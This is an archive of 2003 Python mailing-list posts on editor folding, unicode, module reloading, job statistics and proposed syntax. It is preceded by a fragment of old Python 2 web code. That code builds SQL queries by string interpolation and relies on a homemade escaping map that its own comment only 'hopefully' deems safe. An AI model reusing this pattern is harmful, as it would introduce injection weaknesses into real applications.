  def __init__(self, filename):
    data = open(filename).read()
    regex = re.compile('\<\$ block (\w+) \$\>\n?(.*?)\n?\<\$ end \$\>\n?', 
                       re.DOTALL | re.MULTILINE | re.IGNORECASE)
    self.blocks = {}
    self.blocks[''] = regex.sub(self.found_block, data)
  
  def found_block(self, match):
    self.blocks[match.group(1)] = match.group(2)
    return ''
    
  def get_block(self, block, vars):
    self.vars = vars
    return re.sub('\$\$(\w+)', self.found_var, self.blocks[block])
 
  def found_var(self, match):
    return str(self.vars[str(match.group(1))])
    
#--
# Escape special characters in user input
# The resulting string will display like the original in HTML
# This string is now (hopefully) safe for HTML, SQL and email
# TBD: rewrite this so it only lets through known safe chars
#--
map = \
{
  "&":  "&amp;",
  "'":  "&rsquo;",
  '"':  "&quot;", 
  "<":  "&lt;",
  ">":  "&gt;",
  "\n": " ",
  "\r": " "
}
def escape_input(input):
  output = ''
  for char in input:
    if map.has_key(char):
      output = output + map[char]
    else:
      output = output + char      
  return output

#--
# Get a list of form fields safely into a hash
#--
def parse_fields(form, fields):
  data = {}
  for field in fields:
    if form.has_key(field):
      data[field] = escape_input(form[field].value)
    else:
      data[field] = ''
  return data
  
#--
# Do a database query; return cursor
#--
def db_query(db, query):
  try:
    result = db.query(query)
  except MySQL.error, err:
    raise MySQL.error, query + '\n' + err.args[0]
  return result

#--
# Do a SELECT query; return an array of hashes
#--
def select(db, query, fields):
  query = query % string.join(fields, ", ")
  output = []
  for row in db_query(db, query).fetchrows():
    hash = {}
    for i in range(0, len(fields)):
      if row[i] == None:
        hash[fields[i]] = ''
      else:
        hash[fields[i]] = str(row[i])
    output.append(hash)
  return output    

#--
# SELECT just one variable
#--
def select_one(db, query):
  return db_query(db, query).fetchrows()[0][0]

#--
# Do an UPDATE or INSERT
#--
def update(db, query, data):
  set_list = ''
  for field in data.keys():
    set_list = set_list + "%s='%s'," % (field, data[field])
  return db_query(db, query % set_list[:-1])

#--
# RFC 822 style date; for use in email Date: header
#--
def rfc822_date():
  fmt = '%a, %d %b %Y %H:%M:%S +0000'
  return time.strftime(fmt, time.gmtime(time.time()))

#--
# Send an email
#--
def sendmail(msg):
  sendmail = os.popen('/usr/sbin/sendmail -t', 'w')
  sendmail.write(msg)
  sendmail.close()

From P at draigBrady.com  Fri Jan  3 05:39:51 2003
From: P at draigBrady.com (P at draigBrady.com)
Date: Fri, 03 Jan 2003 10:39:51 +0000
Subject: [scintilla] Re: comments inside blocks
In-Reply-To: <Kb2R9.25866$aV5.69116@news-server.bigpond.net.au>
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <av1dsi$pqv$1@reader1.imaginet.fr> <3E14442D.7080501@draigBrady.com> <mailman.1041517263.5169.python-list@python.org> <3E145C80.7080800@draigBrady.com> <Kb2R9.25866$aV5.69116@news-server.bigpond.net.au>
Message-ID: <3E156877.6010202@draigBrady.com>

Neil Hodgson wrote:
> P?draig:
> 
>>Hmm but the editor should be able to distinguish between
>>these 2 cases IMHO:
>>
>>for i in range(10):
>>     print i
 >>
>>#comment nothing to do with first for
>>for i in range(10):
>>     print i
>>#not normal but valid comment in for
>>     print i**2
> 
>    The folding of this has changed since the 1.49 release. Try the test
> version from
> http://www.scintilla.org/scite.zip Source
> http://www.scintilla.org/wscite.zip Windows executable
>     I'm not completely convinced but it may be what you want.

I noticed no changes wrt the above.

> I  consider the old Python folding fairly good.

Hmm I noticed another minor issue wrt brackets, ie: {([
the following isn't folded:

t=(
1,
2,
3
)

but this is:

t=(
  1,
  2,
  3
)

I.E. when there is no relative indentation of the members
there is no folding done.

P?draig.




From abelikov72 at hotmail.com  Tue Jan  7 01:54:37 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Tue, 07 Jan 2003 06:54:37 GMT
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com>
Message-ID: <dcuk1vgg1vel593evttuc99f9m5eq646i5@4ax.com>

On 6 Jan 2003 21:30:24 -0800, judoscript at hotmail.com (James Huang)
wrote:

>JudoScript is a general-purpose, Java scripting,
>multi-domain language. It is a general-purpose
>programming language, fully capable of Java scripting,
>and supports many applcation features in a
>domain-specific way that include:

Can it generate text from a template such that all instances of
<competition> are replaced with 'Python' or something else, instead
of requiring one to write a single document for multiple audiences?

That, and spellcheck, could be useful... even novel apparently.



From gyromagnetic at excite.com  Thu Jan 23 07:24:21 2003
From: gyromagnetic at excite.com (gyro)
Date: Thu, 23 Jan 2003 05:24:21 -0700
Subject: Functions 'knowing' other functions in a module
In-Reply-To: <jGDX9.6720$Sv3.659020@newsread1.prod.itd.earthlink.net>
References: <3e2edfed@news.ColoState.EDU> <jGDX9.6720$Sv3.659020@newsread1.prod.itd.earthlink.net>
Message-ID: <3e2fdef5@news.ColoState.EDU>

Terry Hancock wrote:

> Open your python interpreter, and paste the following:
> 
> def lum():
>     print 'lum'
> 
> def ataru():
>     print 'ataru'
> 
> def _enum_functions():
>     return [k for k,v in globals().items() 
>                 if type(v)==type(_enum_functions) and k[0]!='_' ]
> 
> _enum_functions()
> 
> You should see something like this:
> Python 2.2.1 (#1, Sep  7 2002, 14:34:30) 
> [GCC 2.95.4 20011002 (Debian prerelease)] on linux2
> Type "help", "copyright", "credits" or "license" for more information.
> 
>>>>def lum():
> 
> ...     print 'lum'
> ... 
> 
>>>>def ataru():
> 
> ...     print 'ataru'
> ... 
> 
>>>>def _enum_functions():
> 
> ...     return [k for k,v in globals().items() 
> ...             if type(v)==type(_enum_functions) and k[0]!='_' ]
> ... 
> 
>>>>_enum_functions()
> 
> ['ataru', 'lum']
> 
> Does that help at all?
> 
> Cheers,
> Terry
> 

Yes, that helps.
Thank you.

-g




From neal at metaslash.com  Fri Jan 24 09:28:25 2003
From: neal at metaslash.com (Neal Norwitz)
Date: Fri, 24 Jan 2003 09:28:25 -0500
Subject: Is that a memory leak ?
References: <3e307296$0$243$626a54ce@news.free.fr> <mailman.1043378927.32455.python-list@python.org>
Message-ID: <pan.2003.01.24.14.28.25.321722.9294@metaslash.com>

On Thu, 23 Jan 2003 22:27:39 -0500, Skip Montanaro wrote:


>     vonstroheim> if I repeatedly enter:
>     vonstroheim> class A(object):pass
> 
>     vonstroheim> the number of REFS raises and so does the value
>     returned by vonstroheim> len(gc.get_objects()) vonstroheim> (even if
>     I use gc.collect())
> 
> Can't reproduce on MacOSX using 2.2.2 or latest CVS.  Does it leak when
> run in a non-debug build?

I get the reference count increasing, but memory doesn't grow (with
2.2.2+).  With the latest CVS, memory also doesn't increase.  I haven't
tested the latest with a debug build yet.

Neal



From rjvs at telus.net  Wed Jan 15 21:50:35 2003
From: rjvs at telus.net (rjvs)
Date: 15 Jan 2003 18:50:35 -0800
Subject: python compiler
Message-ID: <220b6a9d.0301151850.1b3a53c2@posting.google.com>

Does anyone know if a "native code" compiler is being developed for Python?
I heard there was a project but it got lost in complexity. The idea being,
to develop and debug in interpretive mode and then compile for speed...this
would be real slick!..for target projects such as CAD or 3D Modelling...:)



From gerhard.haering at opus-gmbh.net  Tue Jan 14 09:51:08 2003
From: gerhard.haering at opus-gmbh.net (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 14 Jan 2003 14:51:08 GMT
Subject: how to submit a patch?
References: <3e160e11$0$229$a1866201@newsreader.visi.com> <slrnb1c3u0.3kp.gerhard.haering@lilith.my-fqdn.de> <3e1616fc$0$174$a1866201@newsreader.visi.com> <slrnb1c5vc.3rq.gerhard.haering@lilith.my-fqdn.de> <7h38yxnsta7.fsf@pc150.maths.bris.ac.uk>
Message-ID: <slrnb288n5.1ds.gerhard.haering@haering.opus-gmbh.net>

Michael Hudson <mwh at python.net> wrote:
> Gerhard H?ring <gerhard.haering at gmx.de> writes:
> 
>> Check to Upload and Attach a File [ ]
>> [                    ] [Browse]
>> 
>> You *need* to check the "Check to ..." checkbox, then use the 'Browse'
>> button to upload your file.
>> 
>> If you don't check the checkbox, your upload won't appear.
> 
> Even if you do, at the moment you can't seem to attach a file to a
> patch when you create it.  You have to go back after it's created and
> attach it.  I don't know why, either.

It's a feature: SF wants to increase the motivation to move these things
off Sourceforge to a Roundup-based bugtracker <0.5 wink>

There once was talk about this on python-dev, but it seems to have stalled
somehow.

Gerhard
-- 
Gerhard H?ring
OPUS GmbH M?nchen
Tel.: +49 89 - 889 49 7 - 32
http://www.opus-gmbh.net/



From eric.brunel at pragmadev.com  Mon Jan 27 03:59:26 2003
From: eric.brunel at pragmadev.com (Eric Brunel)
Date: Mon, 27 Jan 2003 09:59:26 +0100
Subject: tkinter + unicode + bug or feature??
References: <3E3185C3.90402@kootenay.com> <mailman.1043434578.25336.python-list@python.org> <3E319B8C.8020801@kootenay.com> <b0ssrc$mqt$00$1@news.t-online.com> <3E31F9ED.7090806@kootenay.com> <b0t0qj$76g$05$1@news.t-online.com> <3E320A68.60008@kootenay.com>
Message-ID: <b12s1q$2a8$1@news-reader11.wanadoo.fr>

Bob van der Poel wrote:
[snip]
> If my program takes strings entered by a user in a Entry() widget and I 
> take that data, convert it from a possible unicode string to the user's 
> current locale, will the result always be a regular string? Really, what 
> I'm trying to do is to avoid having my program crash when I do something 
> like:
> 
>     a=entrywidget.get()
>     if a == somestring:
>        .....
> 
> Current, 'somestring' IS a regular string. And if 'a' is a unicode the 
> program aborts. So, I'm planning on replacing get() with myget() which 
> will just do:
> 
>     a=widget.get().encode(userEncoding)

I'd use:

a = widget.get().encode(userEncoding, 'replace')

This will replace any character in the string that is not in userEncoding by a 
'?', but it should never raise an exception (if I'm not mistaken...). And if 
your user can type a character, it should be in his/her local encoding, so 
replacements shouldn't occur.
-- 
- Eric Brunel <eric.brunel at pragmadev.com> -
PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com




From genericax at hotmail.com  Tue Jan  7 10:21:23 2003
From: genericax at hotmail.com (Sara)
Date: 7 Jan 2003 07:21:23 -0800
Subject: These are discouraging stats to Perlistas & Pythonistas...
Message-ID: <776e0325.0301070721.7405a312@posting.google.com>

Looks like Bill is successfully creating his "clone army". 

At least we're way above PHP, which barely beat Fortran! Lords of
Light it's amazing anyone who isn't one of Bill's or Sun's drones is
employed.... It looks like a Perl programmer has about an equal chance
of being employed in his skill as a COBOL programmer, and probably for
a lot less $$ since COBOL programmers have to be scarce as hens teeth.

This is discouraging.... I guess next year at OSCON we should replace
the Python talks with "Labview" and "PowerBuilder" to attract more
attendees? I'd be a parking attendant  before I'd learn ASP. You may
be taking over the world Bill but you ain't getting ME!

 -------------------------------------------------------------------------


Recent DICE survey resuts:

>Number of Job Listings by Programming Language (January 3, 2003)
>
>               monster.com dice.com %
>
>  SQL          5000        2486     24.06%
>
>  ASP          2156        2480     14.90%
>
>  Java         2664        1862     14.55%
>
>  C++          2046        1480     11.33%
>
>  Visual Basic 2037        1095     10.07%
>
>  Perl         925         548      4.73%
>
>  Javascript   914         489      4.51%
>
>  Cobol        595         532      3.62%
>
>  SAS          805         269      3.45%
>
>  C#           284         179      1.49%
>
>  Ada          377         65       1.42%
>
>  RPG          248         163      1.32%
>
>  PowerBuilder 155         106      0.84%
>
>  PHP          189         30       0.70%
>
>  Delphi       157         55       0.68%
>
>  Fortran      121         49       0.55%
>
>  LabVIEW      108         27       0.43%
>
>  Tcl          73          33       0.34%
>
>  Python       55          32       0.28%
>
>  Smalltalk    41          30       0.23%
>
>  Rexx         33          25       0.19%
>
>  Pascal       28          17       0.14%
>
>  Lisp         12          9        0.07%
>
>  SML          7           6        0.04%
>
>  Haskell      6           6        0.04%
>
>  Caml         0           0        0.00%
>



From martin at v.loewis.de  Mon Jan 20 03:57:13 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 20 Jan 2003 09:57:13 +0100
Subject: Unicode error in exefied Python script
References: <b0ft3r$omcf2$1@ID-75629.news.dfncis.de> <08cg0b.brr.ln@boundary.tundraware.com>
Message-ID: <m3lm1g42s6.fsf@mira.informatik.hu-berlin.de>

Tim Daneliuk <tundra at tundraware.com> writes:

>         s += Name of a file
[...]
> I got the error you mentioned. After poking at it for a while, I
> discovered that the Win32 API was returning *Unicode* strings, but all
> my stuff was in ASCII. What was truly wierd about it is that the error
> didn't get thrown until the last s += statement, even though the error
> was introduced in the Win32Result statement. Python GURUS: Any idea why
> this is??????

Most likely, "Name of a file" was not an ASCII string, but a byte
string containing non-ASCII characters. As s was already a Unicode
object, that byte string was converted to Unicode, which failed.

You could also have solved this by writing

   s += unicode(Name of file, encoding that your operating system uses
   for file names)

Regards,
Martin



From lac at strakt.com  Thu Jan  2 16:23:30 2003
From: lac at strakt.com (Laura Creighton)
Date: Thu, 02 Jan 2003 22:23:30 +0100
Subject: Executing a modified function 
In-Reply-To: Message from "Dave Bazell" <bazell@comcast.net> 
   of "Thu, 02 Jan 2003 16:05:12 EST." <r0idna5vDeAYNImjXTWcqg@comcast.com> 
References: <r0idna5vDeAYNImjXTWcqg@comcast.com> 
Message-ID: <200301022123.h02LNUjL007419@ratthing-b246.strakt.com>

> If I enter python and run a funtion, then I modify it and try to run it
> again, it appears I execute the old version.  Is there a way to force the
> new version to be executed in this situation, without leaving python and
> starting again?
> 
> Dave

If you are keeping your function in a module, you can do this:

from mymodule import myfunc
myfunc()

# ok, now you hack on myfunc a bit

reload(mymodule)
from mymodule import myfunc
myfunc() # back in business again

Laura Creighton




From phr-n2003b at NOSPAMnightsong.com  Fri Jan 24 14:11:51 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 24 Jan 2003 11:11:51 -0800
Subject: killing thread ?
References: <mailman.1043433540.14232.python-list@python.org>
Message-ID: <7xel72l5vs.fsf@ruckus.brouhaha.com>

Tim Peters <tim.one at comcast.net> writes:
> > It is currently not possible to write a secure sandbox in
> > Python.  I'm not sure if you can call that a bug; it's certainly
> > unfortunate.
> 
> Just curious: does there exist a programming language in which it is
> possible do this?  If so, who guarantees it, and via what kind of
> validation process?

That's the claim for javascript as used in web browsers.  People keep
finding holes, but they do tend to get patched pretty fast.



From pyth at devel.trillke.net  Tue Jan  7 19:18:50 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Wed, 8 Jan 2003 01:18:50 +0100
Subject: Python vs Java garbage collection?
In-Reply-To: <Pine.GSO.4.44_heb2.09.0301062050360.27086-100000@techunix.technion.ac.il>; from cben@techunix.technion.ac.il on Mon, Jan 06, 2003 at 09:15:39PM +0200
References: <kpofua.5g2.ln@anto.cuni.lan> <RI7P9.82239$pe.2817565@news2.east.cox.net> <7iu1gyd3x2.fsf@enark.csis.hku.hk> <PZPP9.92273$pe.3378886@news2.east.cox.net> <7i4r8wccej.fsf@enark.csis.hku.hk> <mailman.1041254965.29220.python-list@python.org> <Pine.GSO.4.44_heb2.09.0301062050360.27086-100000@techunix.technion.ac.il>
Message-ID: <20030108011850.H17919@prim.han.de>

Beni Cherniavsky wrote:
> On 2002-12-30, holger krekel wrote:
> 
> > I am currently experimentally implementing something along these lines.
> > It does require introducing new syntax along with a new object protocol.
> > I currently call it 'Indented Execution' as it allows an object to define
> > __enter__ and __leave__ methods wrappingexecution of 'its' indented block.
> >
> Hey!  A sort of macros!  Tasty :-)  When could I lay my hands on it :-?

It's actually working since today! It's a patch to Python-2.2.2 at
parser, compiler, bytecode and VM-level.   But it's seemlessly compatible 
because it doesn't change syntax or semantics of any (existing) python 
program.  

It's still called 'Indented Execution' and allows (among other usages) 
to nicely do "timely finalization" independent of memory management details. 
If you want to have a preliminary look, go here:

    http://codespeak.net/moin/moin.cgi/IndentedExecution

> > A preview example (could still change) of what my experiments accomplish:
> >
> >   <autoclose f1=open('/etc/passwd') f2=open('/etc/shadow')>
> >       data1 = f1.read()
> >       data2 = f2.read()
> >
> >   # f1 and f2 will be closed here, even if there was an exception
> >   # in the indented code block. Any exception will be propagated
> >   # of course.
> >
> > 'autoclose' is the name of an object which provides
> >
> >   def __enter__(self, **kw):
> >       "keyword arguments containing e.g. the above 'f1' and 'f2'"
> >
> Why the keyword args?  Is the object supposed to poke with the calling
> scope's variables to bind them there?

I have changed this already.  __enter__ doesn't anymore get any arguments,
It's simply invoked.  

>  Or are the names passed just for
> making pseudo-xml applications possible?  But note that the content of the
> "element" is not passed by you so xml-like construction of data becomes
> inconvenient...

This is now possible.  I'll make available a one screenful
implementation of a simple and convenient pythonic xml-construction 
kit. (XML-syntax syntactically integrated with python, no
intermediate language, no "templating engine", pure python fun).

It also allows to spot and handle errors in parts of the 
construction lazily.  Encapsulating exception processing 
in nearby handler objects is truly powerful.  After all, 
the quality of a program shows when errors occur. 

> >   def __leave__(self):
> >       """called if execution leaves the indented block"""
> >
> How about passing some context info to __leave__, at least the objects to
> be closed?  

The __leave__ and __except__ methods have other means of getting
to bindings in namespaces.  Due to python's internals it is hard (and 
IMO not desirable) to *change* name bindings in execution namespaces
(especially in the local scope). 

Moreover, I like the convience and ease of saying:

    class lock(threading._RLock):
        __enter__ = threading._RLock.acquire
        __leave__ = threading._RLock.release

and then

    class danger:
        def __init__(self):
            self.lock = lock()
        def invoke(self):
            <self.lock>
                print "critical stuff"

such "critical regions" work now with exactly the
above code. 
    
> Otherwise, autoclose has the burden of remembering them
> himself, which also means that a new autoclose should be allocated each
> time the code is executed (i.e. it's a class, not an object).

That's currently the case, right.  I played around with other
possibilities but couldn't come up with something easy. 

> > i didn't see an easy way to reuse the 'SETUP_FINALLY/END_FINALLY'
> > bytecodes so i introduced new bytecodes.They might go away later.
> 
> I'm not familiar with the internals, but since your fanctionality can
> probably be defined as equivallent to some python code, e.g.::
> 
>     # sticking to your semantics but see my comments above
>     autoclose.__enter__(f1=open('/etc/passwd'), f2=open('/etc/shadow'))
>     # by the way, what if the second open raise an exception?

good question! noted. 

>     try:
>         data1 = f1.read()
>         data2 = f2.read()
>     finally:
>         autoclose.__leave__()
> 
> you can probably implement in terms of it - you should emit both the
> TRY/FINALLY opcodes *and* the code to call __enter__/__leave__.

The problem is with END_FINALLY (the finalizing bytecode for the
TRY/FINALLY construct).  It's not that easy to call the 
leave-method in the face of an exceptional state. Because you
don't know much about the stack and thus can't easily get to 
any handler object (which needs to be on the stack).  

> > But more about this when i have figured out the gory details of
> > local namespaces & compiler passes among others. First i want
> > to get my unit tests to pass :-)
> >
> > It's not only a conincedence that this resembles xml-syntax.Actually
> > i started out using pythonic ':' syntax but this had a few problems (syntax
> > ambiguity among others).
> 
> I think that adding a ':' after the '>' is still more readable.  Without
> it, the following lines look as just hanging in the air (to me).  BTW, do
> you allow one-line code on the same line (e.g. ``<autoclose f=x>: foo``)?

yes, that works like expected.  But because xml-syntax is so familar i 
don't currently want extra ':' noise.   
 
> > Besides, 'Indented Execution' could allow to define
> > xml-documents and conversions with a very familiar (python + xml) syntax.
> >
> Interesting thought.  But do you intend to use it?

I just need some time ...

> If you want it to be
> usable to construct data structures, you miss the part of also passing the
> inner code to the controlling object, in some way (as code object? that
> would allow almost full macro powers but most would consider the xml
> notation improper for that).

I started out in the code-object direction. I soon realized this was
too complicated. This gets you into all kinds of scope-problems 
at least.  And most people wouldn't know what to do with a code 
object except executing it and wrapping a try-finally construct
around it :-)

So i began to wonder which kind of problems _i_ would like to 
solve with it.  In effect, everytime i have to implement behaviour
before and/or after something executes and also do something in the
face of exceptions the IEXEC protocol should help. It enables
abstracting away this behaviour in nearby 'handler' objects. 

> > ok, that's enough for now.i couldn't hold myself telling you about
> > this fun project :-) It's actually motivated by recent discussions here
> > on c.l.py and a suggestion of Michael Hudson (who aims to provide a
> > new 'with' keyword achieving a significant subset of my goals).
> >
> Fun indeed.  I'd like to help but I'm probably too busy (exam period
> approaching %-).

Sometimes fun beats business.

anyway, I am open for co-developing and thinking 
about this stuff. 

regards,

    holger




From hancock at anansispaceworks.com  Tue Jan 21 05:47:52 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Tue, 21 Jan 2003 10:47:52 GMT
Subject: license
References: <005e01c2c0df$b6ef47d0$63a09840@Arts> <200301210031.h0L0V8jL009221@ratthing-b246.strakt.com> <mailman.1043112517.8124.python-list@python.org>
Message-ID: <sz9X9.4359$bL4.428254@newsread2.prod.itd.earthlink.net>

Arthur wrote:
> I suggested to him a "fix" to his distribution- literaly 4 keystrokes
> involved - that would accomplish the reasonable purposes for which he
> might want to be doing what he is doing, and *not* overwrite an existing
> Python file. 

Four characters, eh?  It ought to take you maybe 10 minutes to create a 
patch file for his distribution, then. Which would be a whole lot less than 
you have wasting complaining about it.  If everybody who uses your package 
patches the dependent package, then it will become increasingly 
uncomfortable not to accept the patch.  It would be trivial to include this 
in your installation procedure.

If your patch doesn't catch on, then maybe he's right and you're wrong.

What I've been telling you is that you should  *use YOUR freedom* not *take 
away HIS freedom* to solve your problem. The package in question being Free 
software gives you all the freedom you need to solve the problem. There is 
simply no justification for trying to take away someone else's.

BTW, the package is apparently VPython, based on the conversation on 
edu-sig. It seems to me that making an advisory along with the patch would 
be a much more appropriate behavior.

Cheers,
Terry

-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From cben at techunix.technion.ac.il  Tue Jan  7 14:23:15 2003
From: cben at techunix.technion.ac.il (Beni Cherniavsky)
Date: Tue, 7 Jan 2003 21:23:15 +0200
Subject: good name for a dict/list hybrid
In-Reply-To: <avd4ti$2jr$1@slb0.atl.mindspring.net>
References: <avd4ti$2jr$1@slb0.atl.mindspring.net>
Message-ID: <Pine.GSO.4.44_heb2.09.0301072108150.16059-100000@techunix.technion.ac.il>

On 2003-01-06, Andrew Dalke wrote:

> I have a class which I'm calling DictList.Its used for an ordered
> dictionary which can have multiple keys, though in almost all cases
> it only has single keys.It is ordered, so I want away to get an
> entry by position in the insertion order, which are integers.
>
> This means I can't use integers as keys, which is not a problem.
>
#snip
[('Name', 'Andrew'), ('PubDate', '1975 Jun'), ('Lang', 'English'),
('Name', 'Andrew Dalke')]
#snip
>
> I can't figure out what to call this thing.I chose "DictList"
> because it's a hybrid between a dictionary and a list, but that's
> a bad name since it can be confused with a dictionary of lists, or
> a list of dictionaries.
>
> This sort of data structure must be common.Eg, headers in email
> act like this.(rfc822.py provides no hints for a name.)
>
Ogg Vorbis comments also behave similarly.  The main issue to decide is
whether you care for the order between different keys.  If not, your
semantics are just an unordered mapping from keys to ordered lists of
values: {'Name': ['Andrew', 'Andrew Dalke'], 'Lang': ['English'], ...}
In that case you might be satisfied with just a dict mapping to
lists, otherwise try "DictList", "ListDict", "MultiDict", "mdict"...

If you do care for the complete order, your semantics are just a list
of pairs.  Then you surely need to write a class, since access by keys is
inconveneint for just a list pair.  I suggest calling it "PairList".

One of the globals access optimization PEPs uses a similar structure and
calls it "dlict" but there the implication is that every key appears only
once so you might want to avoid the confusion.

-- 
Beni Cherniavsky <cben at tx.technion.ac.il>






From mwm at mired.org  Sat Jan 11 09:37:34 2003
From: mwm at mired.org (Mike Meyer)
Date: Sat, 11 Jan 2003 14:37:34 GMT
Subject: [Python-Dev] [ann] Minimal Python project
References: <mailman.1042236801.13789.python-list@python.org>
Message-ID: <x73cnzu4zu.fsf@guru.mired.org>

"David LeBlanc" <whisper at oz.net> writes:

> I was thinking about something along these lines but with a different slant:
> an "essential" python that's stripped way down and that could be ROM-able.
> In the same way that Java is used in the Sharp Zarius, I think it would be
> way cool to have an os/python cored PDA. I wonder if it could be done in
> 16mb or less, 8mb being the next logical number...

Pippy (a port of Python 1.5.2) fits on an 8mb Palm with no problem
whatsoever. It doesn't have GUI support, but I've got LispMe - a
scheme with full GUI support - on the same machine.

Pippy has lost some functionality - see <URL:
http://pippy.sourceforge.net/ > for details - which minimal Python
should make easy to add back, since they might well be in python
instead of C.

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From raims at dot.com  Fri Jan 10 09:18:25 2003
From: raims at dot.com (Rhymes)
Date: Fri, 10 Jan 2003 15:18:25 +0100
Subject: Python vs .Net
References: <PxQR9.45$uS3.4626462@mantis.golden.net> <v1i5tsger4jv81@corp.supernews.com> <mailman.1041873908.16203.python-list@python.org>
Message-ID: <kflt1vklejartbt9n2qavsal8lqso7u3l8@4ax.com>

On Mon, 6 Jan 2003 08:26:55 -0800 (PST), Dave Brueck
<dave at pythonapocrypha.com> wrote:

>For example, some people use
>Delphi for building the GUI and do the rest of the program in Python.

How can they do that? Do you mean with the aid of PythonForDelphi?

Rhymes



From martin at v.loewis.de  Thu Jan 16 11:30:41 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 16 Jan 2003 17:30:41 +0100
Subject: Retrieve the argument list of a function
References: <67446a0a.0301160820.1b9d0acb@posting.google.com>
Message-ID: <m3k7h5dpla.fsf@mira.informatik.hu-berlin.de>

boethius at techie.com (Boethius) writes:

> How can I retrieve the argument list of a given function?

For a Python function, try foo.func_code.co_argcount.

Regards,
Martin



From pyth at devel.trillke.net  Sun Jan 19 06:43:32 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Sun, 19 Jan 2003 12:43:32 +0100
Subject: __parent__ - like attribute?
In-Reply-To: <5.1.1.6.0.20030118211931.01d53578@www.dylanreinhardt.com>; from python@dylanreinhardt.com on Sat, Jan 18, 2003 at 09:52:00PM -0800
References: <av7cuu$cu2$1@slb0.atl.mindspring.net> <YhlS9.24314$NB4.6001@FE05> <5.1.1.6.0.20030118165504.01d41718@www.dylanreinhardt.com> <mailman.1042947586.19440.python-list@python.org> <hcbd0b.l44.ln@beastie.ix.netcom.com> <5.1.1.6.0.20030118211931.01d53578@www.dylanreinhardt.com>
Message-ID: <20030119124332.A2724@prim.han.de>

Dylan Reinhardt wrote:
> To recap/clarify:
> 
> I have several instances of spam, each of which contains (let's say) many 
> thousands of instances of eggs.  I want for changes made to a single 
> instance of eggs to be made known to the specific instance of spam that 
> contains it.  Similarly, I want for any instance of eggs to be able to get 
> the value of any attribute of its containing spam object.
> 
> To put this more generally, I want a subobject to find its containing 
> object so that methods of the containing object can be called and 
> attributes of the containing object can be set/checked. I gather there's no 
> easy, pre-defined way to do this, so any namespace voodoo that can do the 
> trick would be most welcome.

if you want a contained object to at some point know about its 
container then you should pass the contained object  an explicit 
reference of its container.  This is simple.  

Otherwise, I recommend that you try to come up with a small real 
world example.

    holger




From martin at v.loewis.de  Mon Jan 27 04:16:53 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Mon, 27 Jan 2003 10:16:53 +0100
Subject: how to use unicode?
In-Reply-To: <Xns93104A4771537Laocoon@62.153.159.134>
References: <mailman.1043642087.32576.python-list@python.org> <Xns93104A4771537Laocoon@62.153.159.134>
Message-ID: <b12tdt$6c1$04$2@news.t-online.com>

Lao Coon wrote:
>>     the "????" is a chinese.
> 
> 
> You need the u prefix as you saw, now try printing it..

That's not the problem. In IDLE of Python 2.2, entering non-ASCII in the 
interactive mode will always cause a UnicodeError in IDLE. This is 
partially fixed in Python 2.3 - probably not for the OP, though, since 
Python 2.3 won't ship with a gb2312 codec, atleast on Windows.

Regards,
Martin





From mhammond at skippinet.com.au  Sat Jan 25 20:32:31 2003
From: mhammond at skippinet.com.au (Mark Hammond)
Date: Sun, 26 Jan 2003 01:32:31 GMT
Subject: Python Programming on Win32
In-Reply-To: <66033v42v9195kev1frojotv97pab2o95i@4ax.com>
References: <44UW9.2018$5K5.112342@news20.bellglobal.com> <KE0X9.10729$m47.35775@news-server.bigpond.net.au> <66033v42v9195kev1frojotv97pab2o95i@4ax.com>
Message-ID: <PUGY9.4914$7y2.13237@news-server.bigpond.net.au>

Dale Strickland-Clark wrote:
> Mark Hammond <mhammond at skippinet.com.au> wrote:
> 
> 
>>Sean Ross wrote:
>>
>>>Hi.
>>>Does anyone know when/if a new version of O'Reilly's "Python Programming on
>>>Win32" will be published?
>>>Thanks,
>>>Sean
>>
>>Hopefully yes, and hopefully starting work on it this year.
>>
>>Mark.
> 
> 
> Good news. Will you be working with Andy on it again?

Hopefully - it will depend on his time.

Mark.




From BPettersen at NAREX.com  Fri Jan 24 14:42:17 2003
From: BPettersen at NAREX.com (Bjorn Pettersen)
Date: Fri, 24 Jan 2003 12:42:17 -0700
Subject: db files
Message-ID: <60FB8BB7F0EFC7409B75EEEC13E2019201BFE1DF@admin56.narex.com>

> From: Bastien Pierre [mailto:blaktyger at sympatico.ca] 
> > 
> > "Bjorn Pettersen" <BPettersen at NAREX.com> wrote in message
> > news:mailman.1043433829.24346.python-list at python.org...
> > > From: Bastien Pierre [mailto:blaktyger at sympatico.ca]
> > >
> > > "Blaktyger" <blaktyger at hotmail.com> wrote in message
> > > > I would like to know if it's possible to access to a file
database
> > > > (filename.db or filename.dbf)via Python or wxPython. If so, how?
> > >
> > > I'm using windows XP anf the files are created with Borland C++.
> > > Can I create db files with Python?
> > 
> > Still not enough information... I doubt most people here know about
> > "Borland C++", and especially what kind of database files it 
> > writes. It would be helpful if you could tell us (either summarily, 
> > or an URL <wink>).
>
> After doing some research I found out that I'm using a 
> Paradox Database or dBase. Hope this helps.
> Otherwise is it possible to create FoxPro databases.
> I dont want to use MySQL, Oracle or any other SQL servers.

(Again trying gently to persuade you to not top-post,
http://www.catb.org/~esr/jargon/html/entry/top-post.html :-)

Try http://www.google.com/search?sourceid=navclient&q=Paradox+Python,
item 3 looks promising...
(and I'm sure you can figure out how to do a similar search for "dBase
Python", etc. <wink>).

-- bjorn




From eric.brunel at pragmadev.com  Mon Jan 13 10:31:09 2003
From: eric.brunel at pragmadev.com (Eric Brunel)
Date: Mon, 13 Jan 2003 16:31:09 +0100
Subject: tkinter file selector
